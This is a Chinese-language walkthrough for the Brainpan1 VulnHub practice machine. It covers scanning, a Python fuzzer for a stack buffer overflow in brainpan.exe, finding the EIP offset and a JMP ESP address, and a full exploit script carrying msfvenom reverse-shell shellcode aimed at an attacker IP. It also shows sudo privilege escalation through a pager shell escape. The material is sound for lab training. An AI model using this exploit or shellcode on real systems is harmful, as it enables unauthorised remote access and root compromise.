VulnHub-Brainpan1 靶机笔记

Brainpan1 靶机笔记

概述

靶机地址:https://vulnhub.com/entry/brainpan-1,51/#download

这台靶机是很好的缓冲区溢出漏洞利用的练习靶机,涉及到逆向和缓冲区溢出漏洞挖掘的一些知识。

一、nmap 扫描

1)端口扫描

nmap -sT --min-rate 10000 -p- -o ports 192.168.11.12

Nmap scan report for 192.168.11.12
Host is up (0.0012s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT      STATE SERVICE
9999/tcp  open  abyss
10000/tcp open  snet-sensor-mgmt
MAC Address: 00:0C:29:C2:77:55 (VMware)

看到开放了 9999 和 10000 两个端口

2)详细信息扫描

nmap -sT -sV -sC -p9999,10000 -o details 192.168.11.12

Nmap scan report for 192.168.11.12
Host is up (0.00059s latency).

PORT      STATE SERVICE VERSION
9999/tcp  open  abyss?
| fingerprint-strings: 
|   NULL: 
|     _| _| 
|     _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| 
|     _|_| _| _| _| _| _| _| _| _| _| _| _|
|     _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
|     [________________________ WELCOME TO BRAINPAN _________________________]
|_    ENTER THE PASSWORD
10000/tcp open  http    SimpleHTTPServer 0.6 (Python 2.7.3)
|_http-title: Site doesn't have a title (text/html).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.93%I=7%D=10/25%Time=671B59B3%P=x86_64-pc-linux-gnu%r(N
SF:ULL,298,"_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\n_\|_\|_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|\x20\x20\x20\x20_\|_\|_\
SF:|\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20
SF:\x20\x20\x20_\|_\|_\|\x20\x20_\|_\|_\|\x20\x20\n_\|\x20\x20\x20\x20_\|\
SF:x20\x20_\|_\|\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\
SF:x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\
SF:x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|\x20\x20\x20\x20_\
SF:|\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\
SF:x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\
SF:x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|_\|_\|\x20\
SF:x20\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20
SF:_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|_\|\x20\x20\x20\x20\x20\
SF:x20_\|_\|_\|\x20\x20_\|\x20\x20\x20\x20_\|\n\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20_\|\n\n\[________________________\x20WELCOME\x20TO\x20BRAINPAN\
SF:x20_________________________\]\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ENTER\
SF:x20THE\x20PASSWORD\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\n
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20>>\x20");
MAC Address: 00:0C:29:C2:77:55 (VMware)

二、Web 渗透

对于 10000 端口,进行了 web 端常规的测试

打开,同时进行目录爆破

看到主页面就是一张纯图片,也没有令我们感兴趣的信息,我们看看目录爆破能不能给我们一些有用的信息

sudo gobuster dir -u http://192.168.11.12:10000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.11.12:10000
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/bin                  (Status: 301) [Size: 0] [--> /bin/]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================

看到 /bin 目录下有一个 brainpan.exe 的可执行文件,我们下载下来

wget http://192.168.11.12:10000/bin/brainpan.exe

看到这个文件就是 windows 的可执行文件

三、缓冲区溢出

1)判断漏洞存在

我们用 nc 与 9999 端口交互

nc -v 192.168.11.12 9999

192.168.11.12: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.11.12] 9999 (?) open
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|

[________________________ WELCOME TO BRAINPAN _________________________]
                          ENTER THE PASSWORD                              

                          >> brainpan
                          ACCESS DENIED

看到他让我们输入 password,输入后 ACCESS DENIED 了

把从浏览器下载的 brainpan.exe 拿到 windows 环境中运行

看到这个文件在我的 windows 电脑上开启了 9999 端口,我们用 nc 和 windows 的 9999 交互看看

nc -v 192.168.11.1 9999 
192.168.11.1: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.11.1] 9999 (?) open
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|

[________________________ WELCOME TO BRAINPAN _________________________]
                          ENTER THE PASSWORD                              

                          >> brainpan1
                          ACCESS DENIED

看到应该是和靶机一样的服务,靶机的 9999 可能就来自于这个服务

在服务端看到了向缓冲区复制的字样

2)判断最大字节数

这里可以用 python 写一个 socket 连接,去跟服务进行交互

python 复制代码
import socket,time,sys
mystr = 'A'
i = 1
while True:
    try:
        client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        client.connect(('192.168.11.1', 9999))
        msg = (mystr*100*i).encode('utf-8')
        print(msg)
        client.send(msg)
        print("[+]"+str(i*100)+"个字节已发送")
        i=i+1
        client.close()
        time.sleep(5)
    except :
        print("连接终止")
        sys.exit()

在 kali 中执行

sudo python BufferOverflow.py

看到发送到 600 字节时中断了

而在 window 中,接受到 600 字节时服务自己中断了

这里溢出的长短应该是不超过 600 个字节

3)定位 eip

用 msf 生成一组特定的长度和特征的字节,来判断具体位置

msf-pattern_create -l 600

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9

用 Ollydbg 打开 brainpan.exe 可执行程序,并运行

kali 向 brainpan.exe 发送 msf 生成的 600 长度的字符串

看到 eip 的值 35724134

确定位置

看到 eip 的位置应该是在 524 个字节处

运行

python 复制代码
import socket,time,sys
try:
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client.connect(('192.168.11.1', 9999))
    msg =  'A'*524+'B'*4+'C'*72
    client.send(msg.encode('utf-8'))
    print("[+]"+str(600)+"个字节已发送")
    client.close()
    time.sleep(5)
except :
    print("连接终止")
    sys.exit()

发送完之后看到 eip 为 42424242

42 在 ascii 里就是 B 字符

也就是 eip 的位置是 525、526、527、528 四个字节

4)esp扩容

因为我们的payload长度一般为350-400字节,而72字节肯定是不够的,我们将esp扩容看程序的崩溃反应,。

我们尝试输入500个C

python 复制代码
import socket,time,sys
try:
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client.connect(('192.168.11.1', 9999))
    msg =  'A'*524+'B'*4+'C'*500
    client.send(msg.encode('utf-8'))
    print("[+]"+str(600)+"个字节已发送")
    client.close()
    time.sleep(5)
except :
    print("连接终止")
    sys.exit()

看到堆栈是从 005FFD40 开始的

一直到 005FFF14

相减一下得到堆栈的空间大小

看到堆栈的大小是468字节

5)坏字符识别

用到badchars库

git clone https://github.com/cytopia/badchars.git

执行

./badchars

\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff

看到所有可能的坏字符全部被列出来了

修改程序

python 复制代码
import socket,time,sys
try:
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client.connect(('192.168.11.1', 9999))
    badchars = (
      "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"+
      "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"+
      "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"+
      "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"+
      "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"+
      "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"+
      "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"+
      "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"+
      "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"+
      "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"+
      "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"+
      "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"+
      "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"+
      "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"+
      "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"+
      "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
    )
    msg =  'A'*524+'B'*4+badchars
    client.send(msg.encode('utf-8'))
    print("[+] badchars已发送")
    client.close()
    time.sleep(5)
except :
    print("连接终止")
    sys.exit()

通过坏字符识别发现除了/x00之外,没有其他的坏字符

6)jmp esp定位

右键搜索命令

看到存在jmp esp ,它的地址是 311712F3

三、获得立足点

生成linux的反弹shell

msfvenom -p linux/x86/shell_reverse_tcp lhost=192.168.11.13 lport=443 -b "/x00"  -f c

unsigned char buf[] = 
"\xdd\xc4\xd9\x74\x24\xf4\x58\x31\xc9\xbb\x99\xc8\x26\x0f"
"\xb1\x12\x31\x58\x17\x03\x58\x17\x83\x59\xcc\xc4\xfa\x68"
"\x16\xff\xe6\xd9\xeb\x53\x83\xdf\x62\xb2\xe3\xb9\xb9\xb5"
"\x97\x1c\xf2\x89\x5a\x1e\xbb\x8c\x9d\x76\xfc\xc7\x55\x8b"
"\x94\x15\x6a\x92\xdf\x93\x8b\x24\x79\xf4\x1a\x17\x35\xf7"
"\x15\x76\xf4\x78\x77\x10\x69\x56\x0b\x88\x1d\x87\xc4\x2a"
"\xb7\x5e\xf9\xf8\x14\xe8\x1f\x4c\x91\x27\x5f";

构造最终的payload

python 复制代码
import socket,time,sys
try:
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client.connect(('192.168.11.12', 9999))
    buf = ("\xbb\x35\x4b\x5e\xd8\xd9\xd0\xd9\x74\x24\xf4\x5a\x33\xc9"
"\xb1\x12\x31\x5a\x12\x83\xc2\x04\x03\x6f\x45\xbc\x2d\xbe"
"\x82\xb7\x2d\x93\x77\x6b\xd8\x11\xf1\x6a\xac\x73\xcc\xed"
"\x5e\x22\x7e\xd2\xad\x54\x37\x54\xd7\x3c\x08\x0e\x2c\xb1"
"\xe0\x4d\x33\xc8\x4b\xd8\xd2\x7a\xcd\x8b\x45\x29\xa1\x2f"
"\xef\x2c\x08\xaf\xbd\xc6\xfd\x9f\x32\x7e\x6a\xcf\x9b\x1c"
"\x03\x86\x07\xb2\x80\x11\x26\x82\x2c\xef\x29")

    msg = "\x41"*524 + "\xf3\x12\x17\x31"+ "\x90"*50 + buf 
    client.send(bytes(msg+ "\r\n", "latin-1"))
    print("[+] payload send successful")
    client.close()
    time.sleep(5)
except :
    print("连接终止")
    sys.exit()

执行

成功获得了立足点

四、提权

sudo -l

Matching Defaults entries for puck on this host:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User puck may run the following commands on this host:
    (root) NOPASSWD: /home/anansi/bin/anansi_util

看到/home/anansi/bin/anansi_util这个文件不需要密码可以用root权限运行

运行看看

sudo /home/anansi/bin/anansi_util

Usage: /home/anansi/bin/anansi_util [action]
Where [action] is one of:
  - network
  - proclist
  - manual [command]

看到有帮助信息,尝试执行

sudo /home/anansi/bin/anansi_util manual /bin/bash

进入了这样的界面,这个界面我们可太熟悉了。很像vi、vim、less这种的

用同样的方式尝试提权

!/bin/bash

看到我们成功获得了root权限的shell

总结

通过nmap发现目标开放了9999、10000两个端口,通过对10000端口进行常规的web渗透测试,发现了在/bin目录下有一个可执行文件。

下载下来文件进行观察,发现这个文件就是运行在9999端口的服务,通过对缓冲区溢出漏洞的发现和利用,成功获得了系统立足点,利用sudo -l看到有一个可执行程序可以利用进行提权

相关推荐
菜鸟的人工智能之路几秒前
极坐标气泡图:医学数据分析的可视化新视角
python·数据分析·健康医疗
菜鸟学Python2 分钟前
Python 数据分析核心库大全!
开发语言·python·数据挖掘·数据分析
小白不太白9503 分钟前
设计模式之 责任链模式
python·设计模式·责任链模式
喜欢猪猪9 分钟前
Django:从入门到精通
后端·python·django
糖豆豆今天也要努力鸭14 分钟前
torch.__version__的torch版本和conda list的torch版本不一致
linux·pytorch·python·深度学习·conda·torch
儒道易行26 分钟前
【DVWA】RCE远程命令执行实战
网络·安全·网络安全
何大春30 分钟前
【弱监督语义分割】Self-supervised Image-specific Prototype Exploration for WSSS 论文阅读
论文阅读·人工智能·python·深度学习·论文笔记·原型模式
在下不上天39 分钟前
Flume日志采集系统的部署,实现flume负载均衡,flume故障恢复
大数据·开发语言·python
SEVEN-YEARS42 分钟前
深入理解TensorFlow中的形状处理函数
人工智能·python·tensorflow
EterNity_TiMe_1 小时前
【论文复现】(CLIP)文本也能和图像配对
python·学习·算法·性能优化·数据分析·clip